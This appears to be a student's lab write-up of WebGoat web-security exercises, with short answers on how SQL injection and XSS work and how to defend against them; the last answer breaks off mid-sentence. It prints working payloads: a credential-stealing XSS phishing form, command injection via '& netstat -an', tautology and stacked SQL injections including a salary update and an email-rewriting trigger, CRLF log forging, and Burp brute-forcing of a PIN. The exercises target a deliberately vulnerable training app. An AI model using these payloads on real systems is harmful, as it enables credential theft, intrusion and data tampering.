1. 程式人生 > >20155323劉威良《網絡對抗》Exp9 Web安全基礎

20155323劉威良《網絡對抗》Exp9 Web安全基礎

fin als cee 修改 規則 結果 view 需要 大於

20155323劉威良《網絡對抗》Exp9 Web安全基礎

實踐目的

理解常用網絡攻擊技術的基本原理。

實踐內容

Webgoat實踐下相關實驗。

實踐過程

開啟WebGoat

WebGoat是由OWASP負責維護的一個漏洞百出的J2EE Web應用程序,這些漏洞並非程序中的bug,而是故意設計用來進行Web應用程序安全訓練的。這個應用程序提供了一個逼真的模擬實戰的教學環境,為用戶完成課程提供了有關的線索。

我們在終端下輸入命令java -jar webgoat-container-7.0.1-war-exec.jar,等到運行完畢,WebGoat服務就打開了。如圖所示,該服務占用的是8080端口。

技術分享圖片

我們再在瀏覽器中打開8080端口localhost:8080/WebGoat就可以進入WebGoat,可以用圖中默認的賬戶密碼登錄。

技術分享圖片

Phishing with XSS

題目是跨站腳本釣魚攻擊,要求我們在搜索框中輸入XSS攻擊代碼,讀取被攻擊者輸入的用戶名和密碼。

`</form>
    <script>
function hack(){ 
XSSImage=new Image;
XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + "";
alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value);
} 
  </script>
<form name="phish">
<br>
<br>
<HR>
<H2>This feature requires account login:</H2>
<br>
  <br>Enter Username:<br>
<input type="text" name="user">
 <br>Enter Password:<br>
<input type="password" name = "pass">
<br>
 <input type="submit" name="login" value="login"    onclick="hack()">
</form>
<br>
<br>
<HR>`

將代碼添加到Search框內後點擊search,然後輸入任意用戶名密碼並提交,就可以顯示攻擊成功。我們得到了被攻擊者的用戶名和密碼。

技術分享圖片

Stored XSS Attacks

儲存型XSS攻擊,我們在留言板中進行惡意留言,點擊這條留言就可以看到我們留下的信息。

message框輸入<script>alert("20155323lwl");</script>代碼並提交,再點開鏈接,就可以顯示攻擊成功。

技術分享圖片

Reflected XSS Attacks

反射型XSS攻擊,在輸入框插入一段瀏覽器可以解釋的代碼,那麽就相當於將其植入到了value中,瀏覽器會解釋這段代碼。

在code框中輸入<script>alert("20155323lwl");</script>,點擊Purchase會出現對話框顯示攻擊成功。

技術分享圖片

Command Injection

命令註入,要求給操作系統註入命令行並能夠在目標主機上執行系統命令,我們打開源代碼界面搜索BackDoors,在BackDoors.help後加上一段代碼& netstat -an & ipconfig,目的是註入netstat -an以及ifconfig這兩個系統命令以獲取IP以及網絡端口使用情況。

技術分享圖片

修改完後選定剛剛設定的值並且點擊view,我們就可以得到本機的網絡端口使用情況和ip地址。

技術分享圖片

技術分享圖片

Numeric SQL Injection

數字型SQL註入,要求我們利用SQL註入獲得所有的天氣數據。

首先在源代碼中進行修改,在station中任意一個值後加上永真式1=1,再進行攻擊,我們就可以得到所有城市的天氣數據。

技術分享圖片

技術分享圖片

Log Spoofing

日誌欺騙,利用日誌的格式,使用換行等字符註入惡意字符串,按照規則偽造日誌欺騙管理員。

我們可以在用戶名框內輸入命令PC%0d%0aLogin Succeeded for username: admin,註入回車%0d和換行符%0a,留下假的登陸成功日誌。

技術分享圖片

String SQL Injection

SQL字符串註入,嘗試使用‘Smith‘的用戶名來註入一個字符串,顯示用戶所有信用卡號碼。

其實用戶名不是關鍵,輸入任何用戶名或者不輸入都可以,主要是要在用戶名後加上永真式,這是最簡單的SQL註入攻擊。

技術分享圖片

Stage 1:String SQL Injection

要求使用字符串SQL註入來繞過身份驗證,我們還是在密碼框中使用永真式,但是發現登錄失敗。打開源碼我們可以發現,密碼的最大長度為8,我們將最大長度修改為100,再在密碼欄中輸入‘ or 1=1 --進行登錄,‘--‘為註釋符號。

技術分享圖片

Stage 3:Numeric SQL Injection

要求通過認證執行SQL註入,使用普通員工的權限來得到boss賬戶的信息。

還是先執行上一個實踐的步驟登錄員工賬戶,然後在源碼中搜索value,在101後加上永真式or 1=1 order by salary desc--,再點擊viewProfile我們就可以看到老板的賬戶信息了。

技術分享圖片

Database Backdoors

數據庫後門,首先我們可以輸入101查看該用戶信息

技術分享圖片

然後我們可以輸入sql語句來修改信息內容,101; update employee set salary=1000000 where userid=101;,薪水就唄我們改成100了。

技術分享圖片

我們還可以使用SQL註入創建一個觸發器,這樣子創建新用戶時就會修改郵箱為你的郵箱。

技術分享圖片

Blind Numeric SQL Injection

數字型盲註,有時我們獲取不到自己需要的信息,此時可以通過SQL語句的條件判斷。比如利用二分法去判斷並逐漸縮小區間。

首先輸入101 AND ((SELECT pin FROM pins WHERE cc_number=‘1111222233334444‘) > 500 );判斷pin值是否大於500,結果顯示Account number is valid,說明的確是大於500

技術分享圖片

我們再改為2000,發現還是大於2000,再試試3000,這裏顯示invalid account number,說明錯誤了,此時pin值範圍在2000-3000之間。

技術分享圖片

使用BurpSuite,截獲報文進行暴力破解,由於8080端口被占用,我們添加一個新端口並勾選。

技術分享圖片

然後在瀏覽器的端口設置中選擇自己剛剛設置的新端口。

技術分享圖片

在webgoat端點擊go,捕獲到了報文後右鍵選擇send to intruder,然後設置載荷,從2000到3000進行,步數為1,設置完成後開始攻擊。

技術分享圖片

最後我們發現發現2364與其他有明顯區別

技術分享圖片

輸入2364進行驗證。

技術分享圖片

回答問題

(1)SQL註入攻擊原理,如何防禦

原理是未經檢查或者未經充分檢查的用戶輸入數據,意外變成了代碼被執行。主要形式有兩種。一是直接將代碼插入到與SQL命令串聯在一起並使得其以執行的用戶輸入變量,也被稱為直接註入式攻擊法。二是一種間接的攻擊方法,它將惡意代碼註入要在表中存儲或者作為原數據存儲的字符串。在存儲的字符串中會連接到一個動態的SQL命令中,以執行一些惡意的SQL代碼。

防禦手段可以是限制用戶權限,嚴格規定輸入格式,過濾掉特殊字符以防永真式之類的語句出現。

(2)XSS攻擊的原理,如何防禦

原理是通過對網頁註入可執行代碼且成功地被瀏覽器執行,達到攻擊的目的,形成了一次有效XSS攻擊,一旦攻擊成功,它可以獲取用戶的聯系人列表,然後向聯系人發送虛假詐騙信息,可以刪除用戶的日誌等等,有時候還和其他攻擊方式同時實施比如SQL註入攻擊服務器和數據庫、Click劫持、相對鏈接劫持等實施釣魚。

防禦手段可以是嚴格進行過濾,對於

20155323劉威良《網絡對抗》Exp9 Web安全基礎